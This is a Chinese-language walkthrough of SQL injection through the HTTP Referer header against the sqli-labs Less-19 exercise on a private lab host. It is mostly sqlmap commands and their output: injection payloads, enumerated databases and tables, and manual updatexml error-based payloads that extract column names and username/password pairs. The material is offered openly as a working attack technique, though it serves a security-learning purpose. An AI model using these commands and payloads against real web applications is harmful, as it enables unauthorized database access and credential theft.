Sqlmap之Referer注入(手动+自动)

Delina

原文链接：Sqlmap之Referer注入(手动+自动)

一、检测是否存在注入

1、通过BurpSuite抓包，将封包内容保存到referer.txt

1. POST /sqli/Less-19/ HTTP/1.1
   
2. Host: 192.168.139.129
   
3. Content-Length: 38
   
4. Cache-Control: max-age=0
   
5. Upgrade-Insecure-Requests: 1
   
6. Origin: http://192.168.139.129
   
7. Content-Type: application/x-www-form-urlencoded
   
8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
   
9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
   
10. Referer: http://192.168.139.129/sqli/Less-19/
    
11. Accept-Encoding: gzip, deflate
    
12. Accept-Language: zh-CN,zh;q=0.9
    
13. Cookie: PHPSESSID=6t4bb3nb4rarqod4j073m038h4
    
14. Connection: close
    
15. 
    
16. 
    
17. uname=admin&passwd=admin&submit=Submit

复制代码

2、检测是否存在注入

1. sqlmap -r /home/aiyou/桌面/referer1.txt --referer "http://192.168.139.129/sqli/Less-19/" --level 3
   
2. --level 3:3级以上才会检测请求头信息

复制代码

​
​
运行结果：
​

1. parameter 'Referer' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
   
2. sqlmap identified the following injection point(s) with a total of 6329 HTTP(s) requests:
   
3. ---
   
4. Parameter: Referer (Referer)
   
5.     Type: boolean-based blind
   
6.     Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
   
7.     Payload: http://192.168.139.129/sqli/Less-19/' RLIKE (SELECT (CASE WHEN (5183=5183) THEN 0x687474703a2f2f3139322e3136382e3133392e3132392f73716c692f4c6573732d31392f ELSE 0x28 END)) AND 'qIKO'='qIKO
   
8. 
   
9. 
   
10.     Type: error-based
    
11.     Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    
12.     Payload: http://192.168.139.129/sqli/Less-19/' AND EXTRACTVALUE(1237,CONCAT(0x5c,0x7171717671,(SELECT (ELT(1237=1237,1))),0x7171787871)) AND 'fmnH'='fmnH
    
13. 
    
14. 
    
15.     Type: time-based blind
    
16.     Title: MySQL >= 5.0.12 RLIKE time-based blind
    
17.     Payload: http://192.168.139.129/sqli/Less-19/' RLIKE SLEEP(5) AND 'JGUO'='JGUO
    
18. ---
    
19. [17:46:44] [INFO] the back-end DBMS is MySQL
    
20. web application technology: Nginx 1.15.11, PHP 5.4.45
    
21. back-end DBMS: MySQL >= 5.1

复制代码

​
二、获取数据库名字
qlmap -r /home/aiyou/桌面/referer1.txt --referer "http://192.168.139.129/sqli/Less-19/" --level 3 --dbs
​
​

1. 运行结果：
   
2. [16:47:27] [INFO] retrieved: pikachu
   
3. [16:47:48] [INFO] retrieved:
   
4. [16:47:49] [INFO] retrieved: security
   
5. [16:48:13] [INFO] retrieved:
   
6. [16:48:13] [INFO] retrieved: sys
   
7. [16:48:24] [INFO] retrieved:
   
8. [16:48:24] [INFO] retrieved: www_dgdg_com
   
9. [16:49:13] [INFO] retrieved:
   
10. [16:49:14] [INFO] retrieved: www_zm_com
    
11. available databases [10]:
    
12. [*] challenges
    
13. [*] dvwa
    
14. [*] information_schema
    
15. [*] mysql
    
16. [*] performance_schema
    
17. [*] pikachu
    
18. [*] security
    
19. [*] sys
    
20. [*] www_dgdg_com
    
21. [*] www_zm_com
    
22. 
    
23. 
    
24. [16:49:58] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'

复制代码

​
三、获取表名

• 
  

sqlmap -r /home/aiyou/桌面/referer1.txt --referer "http://192.168.139.129/sqli/Less-19/" --level 3 -D security --tables
​
​

1. 运行结果：
   
2. parameter 'Referer' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
   
3. sqlmap identified the following injection point(s) with a total of 17409 HTTP(s) requests:
   
4. ---
   
5. Parameter: Referer (Referer)
   
6.     Type: boolean-based blind
   
7.     Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
   
8.     Payload: http://192.168.139.129/sqli/Less-19/' RLIKE (SELECT (CASE WHEN (7519=7519) THEN 0x687474703a2f2f3139322e3136382e3133392e3132392f73716c692f4c6573732d31392f ELSE 0x28 END)) AND 'jkuO'='jkuO
   
9. 
   
10. 
    
11.     Type: error-based
    
12.     Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    
13.     Payload: http://192.168.139.129/sqli/Less-19/' AND EXTRACTVALUE(6597,CONCAT(0x5c,0x7178627071,(SELECT (ELT(6597=6597,1))),0x7176767071)) AND 'Czdo'='Czdo
    
14. 
    
15. 
    
16.     Type: time-based blind
    
17.     Title: MySQL >= 5.0.12 RLIKE time-based blind
    
18.     Payload: http://192.168.139.129/sqli/Less-19/' RLIKE SLEEP(5) AND 'zQQA'='zQQA
    
19. ---
    
20. [08:54:30] [INFO] the back-end DBMS is MySQL
    
21. web application technology: PHP 5.4.45, Nginx 1.15.11
    
22. back-end DBMS: MySQL >= 5.1
    
23. [08:54:30] [INFO] fetching tables for database: 'security'
    
24. [08:54:30] [WARNING] the SQL query provided does not return any output
    
25. [08:54:30] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
    
26. [08:54:30] [WARNING] the SQL query provided does not return any output
    
27. [08:54:30] [INFO] fetching number of tables for database 'security'
    
28. [08:54:30] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval                                                         
    
29. [08:54:30] [INFO] retrieved: 4
    
30. [08:54:30] [INFO] retrieved: emails
    
31. [08:54:30] [INFO] retrieved: referers
    
32. [08:54:31] [INFO] retrieved: uagents
    
33. [08:54:31] [INFO] retrieved: users
    
34. Database: security
    
35. [4 tables]
    
36. +----------+
    
37. | emails   |
    
38. | referers |
    
39. | uagents  |
    
40. | users    |
    
41. +----------+
    
42. 
    
43. 
    
44. [08:54:31] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'  

复制代码

​
四、手动测试
1、获取字段名

• 
  

sqlmap -r /home/aiyou/桌面/referer1.txt --referer="http://192.168.139.129/sqli/Less-19/" --level 3  -D security -T users --columns
这里跑不出来了，大家可以继续手动测试一下。。。
2、手动测试获取字段

• 
  

' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' and table_schema = database() limit 3,1),0x7e),1) and '1'='1
3、手动测试获取字段内容

• 
  

1' and updatexml(1,concat(0x7e,(select concat_ws('~',username,password) from users limit 0,1),0x7e),1) and '1'='1
​
​